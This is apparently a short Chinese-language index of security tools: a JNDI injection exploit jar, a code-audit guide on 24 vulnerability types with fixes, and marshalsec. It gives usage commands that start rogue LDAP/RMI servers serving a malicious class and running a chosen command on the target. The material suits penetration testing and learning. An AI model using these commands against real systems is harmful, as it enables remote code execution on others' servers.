JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

整合rmi和ldap服务器+恶意类，使用方法： $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address)

代码审计文档（包括修复方案）

代码审计文档整合了24钟高危漏洞，漏洞包括：xss、sql注入、xml注入、各种反序列化等。并对其提供了代码分析、提供修复方案、以及漏洞代码示范，适用于入门者学习参考

marshalsec-0.0.3-SNAPSHOT-all.jar

用于搭建ldap和rmi服务器，用来进行jndi注入测试 使用方法示例： java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "恶意类http地址" 9999